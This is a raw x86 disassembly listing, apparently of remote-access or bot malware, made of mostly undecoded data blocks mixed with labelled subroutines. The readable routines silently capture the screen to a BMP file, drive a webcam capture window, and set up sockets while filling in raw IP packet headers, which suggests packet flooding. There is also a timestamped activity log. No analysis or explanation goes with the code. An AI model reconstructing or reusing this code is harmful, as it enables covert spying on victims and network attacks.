0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h dd 59FFFF6Fh, 0E8905659h, 22CBB7Ch, 81EC8B55h, 0CCECh dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h, 0FF68D6h dd 36A0000h, 4589026Ah, 0D415FFF0h, 89004CB6h, 0D6FFF845h dd 741EE850h, 0BF590000h, 578h, 6A096A57h, 41BBE801h, 59590000h dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch, 0E8900000h dd 227C5C1h, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 1A0853Bh dd 870F0000h, 1C2h, 0EE081D39h, 5975004Ch, 8958106Ah, 8D50EC45h dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh, 8D509C45h dd 0FFFF3485h, 0DC6868FFh, 0E8500042h, 732Eh, 0EB18C483h dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h, 45896600h dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h, 19C858Bh dd 0C7660000h, 40B245h, 40B445C6h, 6B545C6h, 0B65D8966h dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h, 0FF502566h dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h, 0D25D8966h dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh, 8DB64589h dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h, 0FF548589h dd 458BFFFFh, 58C68BCh, 85890000h, 0FFFFFF58h, 0FF5C9D88h dd 85C6FFFFh, 0FFFFFF5Dh, 0E7E89006h, 667169D0h, 0FF5E8589h dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h dd 68FFFFFFh, 598h, 0FCE0E850h, 0C483FFFFh, 45896620h dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h, 0B6B815FFh dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h dd 5E5FFC45h ; --------------------------------------------------------------------------- pop ebx leave retn ; --------------------------------------------------------------------------- byte_4146CF db 55h ; DATA XREF: sub_401ACD+4CC0o dd 0EC81EC8Bh, 414h, 5608558Bh, 85B8h, 0C88B5700h, 0BD8DF28Bh dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h, 0FFFBEC85h dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h dd 0B8BAE890h, 8B55022Ch, 54EC81ECh, 53000002h, 0FFBB56h dd 53570000h, 26A036Ah, 0B6D415FFh, 0F883004Ch, 0F44589FFh dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h, 59000071h dd 0E959FF33h, 2C9h, 6AEC4D8Dh, 0FF335104h, 5057026Ah dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h, 15FF0E75h dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh dd 0CAFEE890h, 358B7169h, 4270A8h, 0FFE04589h, 0F84589D6h dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h, 7069E8h dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h dd 6868AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h dd 4CEA02h, 6E30E8h, 59C08500h, 8FE81075h, 9900006Fh, 401B9h dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh dd 0A366004Ch, 4CE9FEh, 6F65E8h, 1B99900h, 68000004h, 408h dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h, 0B6B815FFh dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 0E890FC45h, 227C0C5h dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch, 6D58E8h, 0D2335900h dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h, 0C4830000h dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh, 210B5FFh dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch dd 68500C45h, 43661Ch db 0EBh, 0ACh word_414A92 dw 8B55h ; DATA XREF: sub_401ACD+6362o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h dd 0E8905659h, 22CB4BCh ; --------------------------------------------------------------------------- pop edi pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6F push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2B ; --------------------------------------------------------------------------- loc_414B6F: ; CODE XREF: ___:00414B59j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CB5FC push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CB63C test eax, eax jnz short loc_414BD3 or eax, 0FFFFFFFFh jmp short loc_414C2B ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: ___:00414BCCj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDE loc_414BDA: ; CODE XREF: ___:00414BFEj ; ___:00414C22j mov eax, edi jmp short loc_414C2B ; --------------------------------------------------------------------------- loc_414BDE: ; CODE XREF: ___:00414BD8j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414C00 lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BDA loc_414C00: ; CODE XREF: ___:00414BEDj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BDA mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2B: ; CODE XREF: ___:00414B6Aj ; ___:00414BD1j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- db 55h dd 0EC81EC8Bh, 10Ch, 6A575653h, 0DB335801h, 68535350h dd 0FFh, 26A036Ah, 90EC4589h, 6A0DACE8h, 0EC4D8D71h, 6A51046Ah dd 0A3505302h, 4CEE78h, 0B63415FFh, 358B004Ch, 4270A8h dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h dd 50h, 519045C7h, 0C7000000h, 589445h, 45C70000h, 6E98h dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h dd 45C70000h, 1BDB8h, 0BC45C700h, 400h, 99C045C7h, 0C7000005h dd 5DCC445h, 45C70000h, 6B8C8h, 0CC45C700h, 0CEAh, 3DD045C7h dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h dd 2FFFFFFh, 68858900h, 8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh, 8BFC4D8Bh dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch dd 68004CEEh, 42D124h, 6A84E857h, 59590000h, 4589D6FFh dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h, 0D233F445h dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h, 0C60000FFh dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h dd 4CEE24A3h, 8458B00h, 400068h, 0EE28A300h, 1D88004Ch dd 4CEE39h, 0B65415FFh, 5356004Ch, 0EE3AA366h, 62E8004Ch dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h, 0F80310C4h dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h, 2004Ch dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h, 0FFFFBE05h dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch, 0C6004CEEh dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h dd 4CEE34A3h, 5FF6600h, 4CEE1Ch, 0EE3005FFh, 0A166004Ch dd 4CEE2Eh, 0BE59056Ah, 4CEE2Ch, 4CEE5CBFh, 1D896600h dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h, 6A004CEEh dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh dd 45FF004Ch, 0FC7D81FCh, 3FFh, 0FF238C0Fh, 0E890FFFFh dd 227BA19h, 33F4452Bh, 3E8B9D2h, 0F1F70000h, 770C453Bh dd 1075FF0Eh, 0AF5AE890h, 0C2E90226h, 5FFFFFFDh, 0EE7CB85Eh dd 0C95B004Ch ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B5 proc near ; CODE XREF: sub_401ACD+7200p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D810 mov edi, 0B8h loc_4150C9: ; CODE XREF: sub_4150B5+33j cmp byte ptr [esi], 0 jz short loc_4150EC push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EC inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E390 jl short loc_4150C9 jmp short loc_41512E ; --------------------------------------------------------------------------- loc_4150EC: ; CODE XREF: sub_4150B5+17j ; sub_4150B5+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D810[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D828[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_4294D0 pop ebx loc_41512E: ; CODE XREF: sub_4150B5+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415135 proc near ; CODE XREF: sub_401ACD+28DEp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436840 push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h xor edi, edi mov esi, offset dword_43D810 loc_41515F: ; CODE XREF: sub_415135+72j cmp byte ptr [esi], 0 jz short loc_41519A lea eax, [esi+18h] push eax push esi push edi push offset dword_43682C lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 2Ch loc_41519A: ; CODE XREF: sub_415135+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E390 jl short loc_41515F pop edi pop esi leave retn sub_415135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AD proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2770584h mov ebx, offset dword_4D327C mov edi, 80h mov esi, offset dword_4CF27C loc_4151CF: ; CODE XREF: sub_4151AD+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E6: ; CODE XREF: sub_4151AD+25j sub ebx, edi cmp ebx, esi jge short loc_4151CF movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415221 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AD add esp, 14h leave retn sub_415221 endp ; =============== S U B R O U T I N E ======================================= sub_41524D proc near ; CODE XREF: sub_401ACD+27D5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF27C xor ecx, ecx loc_415254: ; CODE XREF: sub_41524D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D327C jl short loc_415254 cmp [esp+arg_C], ecx jnz short loc_415282 push ecx push [esp+4+arg_8] push offset dword_43688C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A73 add esp, 14h loc_415282: ; CODE XREF: sub_41524D+19j push offset dword_436878 call sub_4151AD pop ecx retn sub_41524D endp ; --------------------------------------------------------------------------- word_41528E dw 8B55h ; DATA XREF: sub_401ACD+2888o dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h, 80h, 89FC5589h dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h dd 0FFFFFFh, 858D1774h, 0FFFFFF68h, 6483E850h, 0C0850000h dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h db 4Ch, 0 ; --------------------------------------------------------------------------- loc_41530A: ; CODE XREF: ___:00415362j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415364 cmp byte ptr [esi], 0 jz short loc_415353 cmp byte ptr [ebp-98h], 0 jz short loc_415339 cmp dword ptr [ebp-4], 0 jnz short loc_415339 lea eax, [ebp-98h] push eax push esi call sub_418087 pop ecx test eax, eax pop ecx jz short loc_415353 loc_415339: ; CODE XREF: ___:0041531Ej ; ___:00415324j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A73 add esp, 14h loc_415353: ; CODE XREF: ___:00415315j ; ___:00415337j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D327C jl short loc_41530A loc_415364: ; CODE XREF: ___:00415310j lea eax, [ebp-31Ch] push offset dword_4368A0 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539E push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A73 add esp, 14h loc_41539E: ; CODE XREF: ___:0041537Cj lea eax, [ebp-31Ch] push eax call sub_4151AD push dword ptr [ebp-18h] call sub_40B413 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- dw 45E8h ; --------------------------------------------------------------------------- lodsb sub al, 2 pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BD proc near ; CODE XREF: sub_401ACD+7350p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CB640 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F1 push 8 push edi call dword_4CB65C push 0Ah push edi mov [ebp+var_8], eax call dword_4CB65C push 0Ch push edi mov [ebp+var_C], eax call dword_4CB65C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541F push 18h push edi call dword_4CB65C mov ebx, 100h jmp short loc_415421 ; --------------------------------------------------------------------------- loc_41541F: ; CODE XREF: sub_4153BD+50j xor ebx, ebx loc_415421: ; CODE XREF: sub_4153BD+60j push edi call dword_4CB6A0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D6 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CB698 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E1 push eax push [ebp+var_4] call dword_4CB524 cmp eax, esi jz loc_4155E1 cmp eax, 0FFFFFFFFh jz loc_4155E1 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CB69C test eax, eax jz loc_4155E1 cmp ebx, esi jz short loc_4154DE lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CB578 mov ebx, eax loc_4154DE: ; CODE XREF: sub_4153BD+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call near ptr 27009D7h nop cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C1 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 26F0000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 26F0000h cmp ebx, esi jz short loc_4155A3 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 26F0000h loc_4155A3: ; CODE XREF: sub_4153BD+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call near ptr 26F0000h nop push [ebp+arg_0] nop call near ptr 2660919h push 1 pop esi loc_4155C1: ; CODE XREF: sub_4153BD+1A2j push [ebp+var_1C] call dword_4CB5B0 push [ebp+var_4] call dword_4CB510 mov edi, [ebp+var_20] loc_4155D6: ; CODE XREF: sub_4153BD+70j push edi call dword_4CB510 mov eax, esi jmp short loc_4155F3 ; --------------------------------------------------------------------------- loc_4155E1: ; CODE XREF: sub_4153BD+C7j ; sub_4153BD+D9j ... push edi call dword_4CB510 push [ebp+var_4] call dword_4CB510 loc_4155F1: ; CODE XREF: sub_4153BD+23j xor eax, eax loc_4155F3: ; CODE XREF: sub_4153BD+222j pop edi pop esi pop ebx leave retn sub_4153BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F8 proc near ; CODE XREF: sub_401ACD+7477p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D3280 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CB5A4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415636 mov eax, esi jmp loc_4157EC ; --------------------------------------------------------------------------- loc_415636: ; CODE XREF: sub_4155F8+35j push edi call dword_4CB5F4 test eax, eax jz short loc_415653 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CB6B0 jmp short loc_415655 ; --------------------------------------------------------------------------- loc_415653: ; CODE XREF: sub_4155F8+47j xor eax, eax loc_415655: ; CODE XREF: sub_4155F8+59j cmp eax, ebx jnz short loc_415660 loc_415659: ; CODE XREF: sub_4155F8+88j ; sub_4155F8+BCj mov ebx, esi jmp loc_4157E1 ; --------------------------------------------------------------------------- loc_415660: ; CODE XREF: sub_4155F8+5Fj push edi call dword_4CB5F4 test eax, eax jz short loc_41567D lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CB6B0 loc_41567D: ; CODE XREF: sub_4155F8+71j cmp [ebp+var_20], ebx jz short loc_415659 push edi call dword_4CB5F4 test eax, eax mov edi, 42Ch jz short loc_4156A3 push ebx push ebx push edi push [ebp+var_4] call dword_4CB6B0 mov [ebp+arg_4], eax jmp short loc_4156A6 ; --------------------------------------------------------------------------- loc_4156A3: ; CODE XREF: sub_4155F8+98j mov [ebp+arg_4], ebx loc_4156A6: ; CODE XREF: sub_4155F8+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415659 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CD push 1 pop ebx jmp loc_4157E1 ; --------------------------------------------------------------------------- loc_4156CD: ; CODE XREF: sub_4155F8+CBj push [ebp+var_4] call dword_4CB5F4 test eax, eax jz short loc_4156EA push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB6B0 loc_4156EA: ; CODE XREF: sub_4155F8+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415705 mov ecx, 280h loc_415705: ; CODE XREF: sub_4155F8+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415711 mov eax, 1E0h loc_415711: ; CODE XREF: sub_4155F8+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CB5F4 test eax, eax mov edi, 42Dh jz short loc_41575B push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CB6B0 loc_41575B: ; CODE XREF: sub_4155F8+153j push [ebp+var_4] call 